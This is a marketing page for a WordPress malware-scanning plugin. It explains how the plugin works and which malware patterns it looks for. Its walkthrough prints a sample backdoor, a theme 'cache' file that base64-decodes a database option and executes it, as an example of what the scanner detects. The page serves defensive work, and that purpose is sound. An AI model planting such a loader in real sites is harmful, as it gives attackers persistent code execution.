How it works

The layer your firewall was never built to be.

Guardian Gaze runs inside your WordPress install. It reads your files and database the same way an attacker reads them, looking for code that doesn't make sense as legitimate functionality. Here's exactly how it works, end to end.

The workflow

From scan to safe, in four clear steps.

Every Guardian Gaze workflow follows the same path. No surprises, no silent actions, and an off-ramp to expert help when you need it.

1
Scan your site
Run a scan across WordPress core, plugins, themes, mu-plugins and your database. Lightweight; safe on production.
2
Review the findings
See each suspicious file or database record alongside its severity, location and context. Nothing is changed yet.
3
Understand the reasoning
Read a plain-English explanation of why each finding looks malicious, so you can decide with confidence, not on faith.
4
Quarantine or escalate
Quarantine the file, send the report to your developer, or request a RedSecLabs expert review (paid add-on). Your choice, every time.
Walkthrough · A representative example

A backdoor disguised as a cache helper.

A representative example based on real-world WordPress compromises. Here's the file. Here's exactly how Guardian Gaze reasons about it, and why traditional scanners typically don't.

wp-content/themes/active/inc/cache.php
1<?php2/**3 * Theme cache utility, auto-rotates daily.4 */56if (!defined('ABSPATH')) exit;78$k = get_option('_theme_cache_v2');9if ($k && strlen($k) > 100) {10  $d = base64_decode($k);11  create_function('', $d)();12}1314function theme_cache_clear() {15  wp_cache_flush();16}
Step 1 · Signature scanner
No hash match.
The file doesn't match any known malware fingerprint. Signature-based scanners typically mark this as clean and move on.
Step 2 · Static rule scanner
Too risky to flag without context.
base64_decode and create_function appear in many legitimate themes. Rule-based scanners often skip patterns this generic to avoid false positives.
Step 3 · Guardian Gaze reasoning
This is a stage-two loader.
The function pulls an opaque option from the database, base64-decodes it, then builds and immediately executes a function from the decoded string. No legitimate caching workflow needs to run arbitrary code from a database row. Flagged as critical. Suggested action: quarantine the file and inspect _theme_cache_v2 in wp_options.
Step 4 · You decide
Nothing happens without your sign-off.
Findings are shown for review. Quarantine, send to your developer, or request a RedSecLabs expert review (available as a paid add-on).
What we look for

Six patterns we see over and over on compromised sites.

Categories drawn from real cases the RedSecLabs research team has investigated. These are the patterns most likely to slip past traditional scanning.

01multi-layer encoding

Obfuscated web shells

Base64, ROT13 and gzinflate layers wrapped around an eval. Each layer changes the signature; the behaviour stays identical.

02supply chain

Trojanized plugin files

Legitimate-looking plugins with malicious payloads injected into their update routines. The plugin still works, the backdoor still runs.

03no file footprint

Malware in the database

Payloads stored as wp_options rows and executed on every page load. File scanners see nothing wrong.

04delayed payload

Multi-stage droppers

An innocent first file downloads the real malware once deployed. Static analysis on stage one looks clean. Stage two is what runs.

05conditional execution

Context-aware backdoors

Code that only activates with a specific cookie, user-agent or referrer. Scanners running locally never trigger the malicious branch.

06coverage gap

The mu-plugins coverage gap

Must-use plugins load on every request and are often overlooked during manual cleanup. Guardian Gaze includes them in its scan coverage.

Coverage

Everywhere malware likes to hide.

Each scan walks the full WordPress install, files and database, so payloads can't hide in folders that other scanners skip or layers other scanners don't read.

Files

Full tree, including the parts attackers prefer

  • WordPress core files (checksum-verified)
  • Plugins & themes (active and inactive)
  • mu-plugins directory
  • Drop-ins and custom wp-content paths
  • Suspicious PHP files in root, uploads, etc.

Database

Where modern WordPress malware likes to live

  • wp_options rows with encoded payloads
  • Transients and scheduled tasks
  • User meta and post meta with suspicious content
  • Hidden admin users created post-compromise
  • Cross-referenced findings between files & DB
Common questions

Things people ask before installing.

Will Guardian Gaze break my site?

Scanning is read-only by default. Guardian Gaze does not modify, delete or quarantine any file or database row without your explicit sign-off, and even then, it asks before each action. Running a scan on a production site is safe.

Does Guardian Gaze replace Wordfence, Sucuri, or Cloudflare?

No, it complements them. Perimeter firewalls and signature scanners are good at what they do; Guardian Gaze adds code-level reasoning inside your WordPress install. The strongest setups combine all three.

See the full comparison →

What data does Guardian Gaze send out?

Only minimal security metadata: admin email, site URL, plugin and malware definition versions, IP addresses related to security events, and (if you opt in) scheduled-scan report data. Passwords and sensitive content are never transmitted. All external API calls use HTTPS.

How does the LLM reasoning actually work?

When a file or database row contains patterns that traditional rules can't classify confidently (e.g. dynamic code execution, encoded payloads, unusual data flow), Guardian Gaze sends the relevant code structure to an analysis layer that reasons about whether that pattern has a legitimate explanation, and produces a plain-English summary you can read.

Can I use this on a hacked site to clean it up?

Yes, this is one of the most common reasons people install it. Run a full scan, review the findings, and quarantine or remove what's suspicious. For severe compromises, you can request a RedSecLabs expert review as a paid add-on.

Is there a free version?

Yes. The free plugin runs full file and database scans with plain-English reasoning on one site, available directly from the official WordPress plugin directory. See plans →

Free on WordPress.org

Scan your site for what your firewall can't see.

Install Guardian Gaze, register an email, run your first scan. Every finding is explained before anything is touched. Free. No card. No commitment.

Available through the official WordPress plugin directory.